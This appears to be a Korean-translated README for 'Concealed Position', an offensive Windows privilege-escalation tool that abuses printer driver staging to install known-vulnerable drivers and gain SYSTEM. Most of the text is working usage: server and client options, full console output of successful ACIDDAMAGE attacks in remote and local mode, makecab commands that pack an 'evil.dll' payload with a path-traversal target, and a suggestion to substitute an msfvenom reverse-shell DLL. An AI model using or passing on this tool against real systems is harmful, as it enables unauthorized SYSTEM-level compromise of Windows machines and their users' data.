
자체 프린트 드라이버 권한 상승 도구
은밀한 위치(Concealed Position)는 "자체 취약점 가져오기(Bring Your Own Vulnerability)" 개념을 사용한 Windows 로컬 권한 상승 공격입니다. 구체적으로, 은밀한 위치(CP)는 Windows에서 패키지 포인트 및 인쇄 로직의 설계된 대로 기능을 이용하여 낮은 권한의 사용자가 프린터 드라이버를 스테이징하고 설치할 수 있게 합니다. CP는 특히 알려진 취약점이 있는 드라이버를 설치한 후 이를 악용하여 SYSTEM으로 권한 상승합니다. 은밀한 위치는 DEF CON 29에서 처음 발표되었습니다.
은밀한 위치는 네 가지 익스플로잇을 제공합니다. 모두 똑같이 멍청한 이름을 가지고 있습니다:
이 익스플로잇들은 SLASHINGDAMAGE를 제외하고는 문제가 패치된 후에도 계속 작동하기 때문에 깔끔합니다. Windows가 사용자가 오래된 드라이버를 사용하지 못하도록 막는 유일한 메커니즘은 드라이버의 인증서를 취소하는 것인데, 이는 역사적으로 거의(?) 이루어지지 않았습니다.
아마도 ACIDDAMAGE입니다. RADIANTDAMAGE와 POISONDAMAGE는 경쟁 조건(DLL 덮어쓰기)이며, SLASHINGDAMAGE는 아마도 대부분의 곳에서 패치되었을 것입니다.
은밀한 위치는 두 부분으로 구성됩니다. 악성 프린터와 클라이언트입니다. 클라이언트가 서버에 연결하여 드라이버를 가져오고, 드라이버를 드라이버 저장소에 저장한 후, 프린터를 설치하고 설치 과정을 악용합니다. 쉽죠! MSAPI 용어로 공격은 다음과 같이 진행됩니다:
1단계: 드라이버 스토어에 드라이버 스테이징
클라이언트 -> 서버: GetPrinterDriver
서버 -> 클라이언트: 드라이버 응답
2단계: 드라이버 스토어에서 드라이버 설치
클라이언트: InstallPrinterDriverFromPackage
3단계: 로컬 프린터 추가 (악용 단계)
클라이언트: 프린터 추가
SLASHINGDAMAGE는 실제로는 그렇게 작동하지 않는다는 점을 유의해야 합니다. SLASHINGDAMAGE는 DEFCON 28(2020)에서 설명된 악성 프린터 공격의 구현이며, 오래 전에 패치되었습니다. 저는 이 공격을 좋아해서(이후의 모든 개발을 촉발시켰습니다) 제 악성 서버에 그 익스플로잇을 남겨두기로 했습니다. 혼란스러울 수 있지만요.
논란의 여지가 있지만, 그렇습니다. 드라이버 저장소는 "신뢰할 수 있는 타사 드라이버 패키지 모음"으로, 수정하려면 관리자 권한이 필요합니다. GetPrinterDriver를 사용하면 낮은 권한의 공격자가 임의의 드라이버를 저장소에 스테이징할 수 있습니다. 제게는 이것이 명확한 보안 경계를 넘는 것입니다.
Microsoft는 CVE-2021-34481을 발행하면서 동의한 것으로 보입니다.
하지만... 이것이 단순히 시스템의 기능일 뿐이고 취약점이 전혀 아니라고 주장할 수도 있습니다. 그다지 중요하지는 않습니다. 공격자는 표준 Windows 설치에서 SYSTEM으로 권한 상승할 수 있습니다.
최소 Windows 8.1 이상입니다.
간단합니다! 설명하기 위해 많은 단락이 있을 정도로 간단합니다!
먼저 cp_server의 명령줄 옵션을 살펴보겠습니다:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| server!
CLI options:
-h, --help 도움말 메시지 표시
-e, --exploit arg 사용할 익스플로잇
-c, --cabs arg (=.\cab_files) 캐비넷 파일의 위치
사용 가능한 익스플로잇:
ACIDDAMAGE
POISONDAMAGE
RADIANTDAMAGE
SLASHINGDAMAGE
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
위에서 서버에는 두 가지 옵션이 필요함을 알 수 있습니다:
예를 들어, ACIDDAMAGE 드라이버를 제공하는 악성 프린터를 구성한다고 가정해 보겠습니다. 다음과 같이 하면 됩니다:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| server!
[+] 임시 공간 생성 중...
[+] .\cab_files\ACIDDAMAGE\LMUD1o40.cab 압축 풀기
[+] 드라이버 저장소에 푸시 중
[+] tmp 공간 정리 중
[+] 인쇄 드라이버 설치 중
[+] 드라이버 설치 완료!
[+] 공유 프린터 설치 중
[+] 공유 프린터 설치 완료!
[+] 자동화 완료.
[!] 중요한 수동 단계!
[0] 고급 공유 설정에서 암호 보호 공유를 끄십시오.
[1] 준비 완료!
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
그게 다입니다. 시스템에 새 프린터가 표시될 것입니다:
PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin> Get-Printer
Name ComputerName Type DriverName PortName Shared Publishe
d
---- ------------ ---- ---------- -------- ------ --------
ACIDDAMAGE Local Lexmark Universal v2 LPT1: True False
CutePDF Writer Local CutePDF Writer v4.0 CPW4: False False
OneNote for Windows 10 Local Microsoft Software Pri... Microsoft.Of... False False
Microsoft XPS Document Writer Local Microsoft XPS Document... PORTPROMPT: False False
Microsoft Print to PDF Local Microsoft Print To PDF PORTPROMPT: False False
Fax Local Microsoft Shared Fax D... SHRFAX: False False
PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
cp_server가 사용자에게 한 가지 수동 단계를 수행하라고 안내하는 것을 확인하세요. 저는 형편없는 해커라서 "고급 공유 설정" -> "암호 보호 공유 끄기"를 프로그래밍 방식으로 설정하는 방법을 알아낼 수 없었습니다. 직접 해야 합니다!
SLASHINGDAMAGE를 사용하는 과정은 약간 다릅니다. 먼저 CutePDF Writer를 설치해야 합니다(설치 프로그램은 3rd party 디렉터리에서 찾을 수 있습니다). 그런 다음 cp_server를 실행하고 그 다음에도 몇 가지 수동 단계를 수행하고 재부팅해야 합니다.
클라이언트도 사용하기 쉽습니다. 명령줄 옵션을 살펴보겠습니다:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_client.exe
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| client!
CLI options:
-h, --help 도움말 메시지 표시
-r, --rhost arg 원격 악성 프린터 주소
-n, --name arg 원격 악성 프린터 이름
-e, --exploit arg 사용할 익스플로잇
-l, --local 원격 프린터 없음. 로컬 공격 전용.
-d, --dll arg 실행할 사용자 제공 DLL 경로.
사용 가능한 익스플로잇:
ACIDDAMAGE
POISONDAMAGE
RADIANTDAMAGE
먼저 --dll 옵션에 대해 말씀드리겠습니다. 클라이언트에는 C:\result.txt 파일을 간단히 작성하는 내장 페이로드가 있습니다. 그러나 사용자는 이 옵션을 통해 자신의 DLL을 제공할 수 있습니다. 사용하고 싶은 좋은 예로 msfvenom으로 생성된 x64 리버스 셸이 있습니다. 하지만 나머지 부분에서는 내장 페이로드를 가정하겠습니다.
cp_client는 원격과 로컬의 두 가지 모드가 있습니다. 원격 옵션이 가장 흥미로운데, 취약한 드라이버를 드라이버 저장소에 추가하기 때문입니다(이로써 자체 인쇄 드라이버 취약점 가져오기를 실행합니다). 먼저 이 옵션을 살펴보겠습니다. 이전에 구성한 악성 ACIDDAMAGE 프린터에 다시 연결한다고 가정해 보겠습니다. 다음만 제공하면 됩니다:
다음과 같이 하면 됩니다!
C:\Users\albinolobster\Desktop>cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| client!
[+] 드라이버가 이미 설치되었는지 확인 중
[-] 드라이버를 사용할 수 없습니다.
[+] 악성 프린터 @ \\10.0.0.9\ACIDDAMAGE로 콜백
[+] 드라이버 저장소에 드라이버 스테이징
[+] 스테이징된 드라이버 설치 중
[+] 드라이버 설치 완료!
[+] AcidDamage 시작 중
[+] C:\ProgramData\Lexmark Universal v2\ 존재 여부 확인
[-] 대상 디렉터리가 존재하지 않습니다. 설치 트리거.
[+] 프린터 설치 중
[+] C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl 읽는 중
[+] 파일 내용 검색 중
[+] 파일 내용 업데이트 중
[+] 업데이트된 gpl 배포 중
[+] Dll.dll을 디스크에 배포 중
[+] dll을 c:\tmp에 스테이징 중
[+] 프린터 설치 중
[!] 대성공!
그게 다입니다! 로컬 전용 공격을 실행하려면 익스플로잇만 제공하면 됩니다:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_client.exe -l -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| client!
[+] 드라이버가 이미 설치되었는지 확인 중
[+] 드라이버 설치 완료!
[+] AcidDamage 시작 중
[+] C:\ProgramData\Lexmark Universal v2\ 존재 여부 확인
[-] 대상 디렉터리가 존재하지 않습니다. 설치 트리거.
[+] 프린터 설치 중
[+] C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl 읽는 중
[+] 파일 내용 검색 중
[+] 파일 내용 업데이트 중
[+] 업데이트된 gpl 배포 중
[+] Dll.dll을 디스크에 배포 중
[+] dll을 c:\tmp에 스테이징 중
[+] 프린터 설치 중
[!] 대성공!
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
SLASHINGDAMAGE는 악용을 위해 특별한 클라이언트가 필요하지 않습니다. UI나 명령줄을 사용하여 원격 프린터에 연결하기만 하면 됩니다! 불행히도 사용자 지정 페이로드를 사용하려면 cab_files 디렉터리의 CAB 파일을 업데이트해야 합니다. 하지만 쉽습니다. 다음과 같이 하면 됩니다:
echo “evil.dll” “../../evil.dll” > files.txt
makecab /f files.txt
move disk1/1.cab exploit.cab
저장소의 SLASHINGDAMAGE 버전은 ualapi.dll을 SYSTEM32에 배치하고 재부팅 시 C:\result.txt 파일을 만든다는 점을 알아두는 것이 중요합니다.
풀 리퀘스트를 제출하거나 버그를 신고하고 싶으신가요? 좋습니다! 감사합니다만, 버그 재현에 충분한 세부 정보를 제공하거나 풀 리퀘스트가 수락되어야 하는 이유를 설명하지 않으면 100% 코멘트 없이 이슈를 닫을 것입니다. 감사하지만, 저도 꽤 바쁩니다.
참고로 inject_me dll은 실제로 cp_client에 C 배열로 포함되어 있습니다. inject_me를 업데이트하는 경우 C 배열도 수동으로 업데이트해야 합니다(xxd를 사용하여 배열을 생성하면 됩니다).